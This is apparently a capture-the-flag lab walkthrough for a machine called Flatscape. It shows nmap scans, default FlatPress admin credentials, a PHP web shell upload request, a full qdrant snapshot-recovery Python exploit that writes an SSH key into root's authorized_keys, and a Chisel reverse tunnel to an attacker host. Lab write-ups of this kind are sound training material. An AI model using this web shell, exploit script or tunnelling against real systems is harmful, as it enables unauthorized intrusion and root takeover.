Flatscape (Intermediate)
Post

Flatscape (Intermediate)

Host entries
1
10.0.160.225

Content

  • Default credentials
  • Flatpress 1.2.1 - File upload bypass to RCE
  • Arbitrary file read and write during snapshot recovery in qdrant/qdrant

Reconnaissance

Initial reconnaissance for TCP ports

1
2
3
4
nmap -p- -sS --open --min-rate 500 -Pn -n -vvvv -oG allPorts 10.0.160.225
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.0.160.225 ()   Status: Up
Host: 10.0.160.225 ()   Ports: 22/open/tcp//ssh///, 80/open/tcp//http///

Services and Versions running:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
nmap -p22,80 -sCV -n -Pn -vvvv -oN targeted 10.0.160.225
Nmap scan report for 10.0.160.225
Host is up, received user-set (0.17s latency).
Scanned at 2025-02-21 12:48:23 EST for 41s

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 86:58:01:67:8c:ef:84:ef:03:d1:1a:7c:e0:bd:c0:1f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOHn6jasDXyjx9EVJ/30z5M/kHemfOGNAeqQiqYpWrHm
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.61 ((Debian))
|_http-generator: FlatPress fp-1.2.1
|_http-favicon: Unknown favicon MD5: 315957B26C1BD8805590E36985990754
|_http-server-header: Apache/2.4.61 (Debian)
|_http-title: FlatPress
| http-methods: 
|_  Supported Methods: GET

Exploitation

There is only HTTP port open which has a web page only with a FlatPress CMS running on it:

Looking for exploits on this CMS, we identified the following Flatpress 1.2.1 - File upload bypass to RCE

Now, the important thing here is that the exploit requires authentication, the required credentials for this one are admin:password, the exploit is basically follow this 3 steps: 1) Login to the application 2) Navigate to the uploader section of the application. 3) Create a PHP file using the following payload.

1
2
GIF89a;
<?php system($_REQUEST["cmd"]); ?>

This way we will be able to upload the file using this HTTP request:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
POST /admin.php?p=uploader&action=default HTTP/1.1
Host: 10.0.160.225
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------104014062942592053731161315153
Content-Length: 1831
Origin: http://10.0.160.225
DNT: 1
Connection: keep-alive
Referer: http://10.0.160.225/admin.php?p=uploader
Cookie: fpsess_fp-48ab49ba=147ei7sk0bbg5v2e3sq9kcvh3f; fpuser_fp-48ab49ba=admin; fppass_fp-48ab49ba=%242y%2410%2470xOuqovCQOI4BgCgjl5L.UBCur.JNrqAQGWfST9%2FI8C3c7OzHy0a
Upgrade-Insecure-Requests: 1

-----------------------------104014062942592053731161315153
Content-Disposition: form-data; name="_wpnonce"

f6cd998e05
-----------------------------104014062942592053731161315153
Content-Disposition: form-data; name="_wp_http_referer"

/admin.php?p=uploader
-----------------------------104014062942592053731161315153
Content-Disposition: form-data; name="upload[]"; filename="exploit.php"
Content-Type: application/x-php

GIF89a;
<?php system($_REQUEST["cmd"]); ?>

-----------------------------104014062942592053731161315153
Content-Disposition: form-data; name="upload[]"; filename=""
Content-Type: application/octet-stream


-----------------------------104014062942592053731161315153
Content-Disposition: form-data; name="upload[]"; filename=""
Content-Type: application/octet-stream


-----------------------------104014062942592053731161315153
Content-Disposition: form-data; name="upload[]"; filename=""
Content-Type: application/octet-stream


-----------------------------104014062942592053731161315153
Content-Disposition: form-data; name="upload[]"; filename=""
Content-Type: application/octet-stream


-----------------------------104014062942592053731161315153
Content-Disposition: form-data; name="upload[]"; filename=""
Content-Type: application/octet-stream


-----------------------------104014062942592053731161315153
Content-Disposition: form-data; name="upload[]"; filename=""
Content-Type: application/octet-stream


-----------------------------104014062942592053731161315153
Content-Disposition: form-data; name="upload[]"; filename=""
Content-Type: application/octet-stream


-----------------------------104014062942592053731161315153
Content-Disposition: form-data; name="upload"

Upload
-----------------------------104014062942592053731161315153--

Then all we ned to do is go to the uploaded exploit at:

1
http://10.0.160.225/fp-content/attachs/exploit.php?cmd=id

And you’ll have a webshell.

Privilege Escalation

Once you have command execution a simple privilege escalation was performed, running ps -aux command we can see that there is a process called qdrant:

1
2
3
4
5
6
7
www-data@flatscape:/var/www/html/fp-content/attachs$ ps -aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.0   2472   872 pts/0    Ss   17:31   0:00 tini -- /entrypoint.sh supervisord -c /etc/supervisord.conf
root           7  0.0  0.0   3924  2952 pts/0    S+   17:31   0:00 /bin/bash /entrypoint.sh supervisord -c /etc/supervisord.conf
root          20  0.0  0.3  36996 31484 pts/0    S+   17:31   0:00 /usr/bin/python3 /usr/bin/supervisord -c /etc/supervisord.conf
root          21  0.0  0.1  19032 14864 pts/0    S    17:31   0:00 /usr/bin/python3 /usr/bin/pidproxy /var/run/apache2/apache2.pid
root          22  0.0  0.9 146704 76828 pts/0    Sl   17:31   0:00 qdrant --config-path /etc/qdrant.yaml

Also by checking the open ports, there is a TCP-6333 open port:

1
2
3
4
5
6
7
8
9
www-data@flatscape:/var/www/html/fp-content/attachs$ ss -tulnp
Netid       State        Recv-Q       Send-Q              Local Address:Port                Peer Address:Port       Process       
udp         UNCONN       0            0                      127.0.0.11:50939                    0.0.0.0:*                        
tcp         LISTEN       0            128                     127.0.0.1:6334                     0.0.0.0:*                        
tcp         LISTEN       0            1024                    127.0.0.1:6333                     0.0.0.0:*                        
tcp         LISTEN       0            4096                   127.0.0.11:39713                    0.0.0.0:*                        
tcp         LISTEN       0            128                       0.0.0.0:22                       0.0.0.0:*                        
tcp         LISTEN       0            511                       0.0.0.0:80                       0.0.0.0:*                        
tcp         LISTEN       0            128                          [::]:22                          [::]:*

Which is interesting enough, so I ran a wget command so I can see if there is a webapp running:

1
2
3
www-data@flatscape:/tmp$ wget http://127.0.0.1:6333
www-data@flatscape:/tmp$ cat index.html 
{"title":"qdrant - vector search engine","version":"1.8.4","commit":"984f55d6b9240b8c488a43c599958ad793ff0387"}

The details point to a qdrant version 1.8.4, looking for this software and version I found this article Arbitrary file read and write during snapshot recovery in qdrant/qdrant, there is a way to write a file in the context of the user running this software, in this case all you need to do is to write the authorized_keys file using your public key on the /root/.ssh path, the article provides a script that is very useful for it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
cat exploitqdrantwrite.py 
# poc_write.py
import tarfile
from io import BytesIO
from random import randbytes
from pathlib import Path
from argparse import ArgumentParser
from requests import Session

if __name__ == "__main__":
    parser = ArgumentParser()
    parser.add_argument("--url", default="http://localhost:6333")
    parser.add_argument("--remote_path", default="/root/.ssh/authorized_keys")
    parser.add_argument("--local_path", default="id_rsa.pub")
    args = parser.parse_args()

    cname = "c_" + randbytes(4).hex()

    remote_path = Path(args.remote_path)

    with Session() as s:
        # create a new collection:
        rsp = s.put(f"{args.url}/collections/{cname}", json={})

        # create and retrieve a snapshot:
        rsp = s.post(f"{args.url}/collections/{cname}/snapshots", json={})
        sname = rsp.json()["result"]["name"]

        rsp = s.get(f"{args.url}/collections/{cname}/snapshots/{sname}")
        snapshot = BytesIO(rsp.content)

        # create a fake tar with payload, you can also set custom file attributes
        # if you need the file to be executable, etc:
        fake_tar = BytesIO()
        with tarfile.open(fileobj=fake_tar, mode="w") as tar:
            tar.add(args.local_path, arcname=str(remote_path.name))

        # modify the snapshot to add a new segment .tar with a payload and a pre-existing
        # directory symlink with the same name (sans .tar);
        # during recovery process it will try to extract the contents of redirect.tar to redirect/
        with tarfile.open(fileobj=snapshot, mode="a") as tar:
            info = tarfile.TarInfo(f"0/segments/redirect.tar")
            info.size = len(fake_tar.getvalue())
            tar.addfile(info, fileobj=BytesIO(fake_tar.getvalue()))

            info = tarfile.TarInfo(f"0/segments/redirect")
            info.type = tarfile.SYMTYPE
            info.linkname = str(remote_path.parent)
            tar.addfile(info)

        rsp = s.post(f"{args.url}/collections/{cname}/snapshots/upload", files={
            "snapshot" : ("x.snapshot", snapshot.getvalue(), "application/tar")
        })

        rsp = s.delete(f"{args.url}/collections/{cname}/snapshots/{sname}")
        rsp = s.delete(f"{args.url}/collections/{cname}")
        rsp = s.delete(f"{args.url}/collections/{cname}/snapshots/x.snapshot")

Now, the problem with this script is that requires some libraries that are not available on the target machine, to bypass this we can use Chisel to forward the port TCP-6333 to our attacker machine:

Chisel as Server:

1
./chisel server --port 1337 --reverse

Chisel as client:

1
./chisel client 10.10.5.122:1337 R:6333:localhost:6333

That way, the port is reachable on our localhost port 6333 so we can execute the payload locally:

1
python3 exploitqdrantwrite.py

There is no output upon execution, but if you try to login using your private key, you’ll have access as root:

1
2
3
ssh -i id_rsa root@10.0.160.225
root@flatscape:~# ls
ETSCTF_<REDACTED>

Post Exploitation

Flags are stored at:

/etc/passwd /etc/shadow environment variables (env command) /root

Credentials

Notes

  • Sometimes, several exploits are public for a given software, that’s why is important to first identify the version to speed up the exploitation process.

References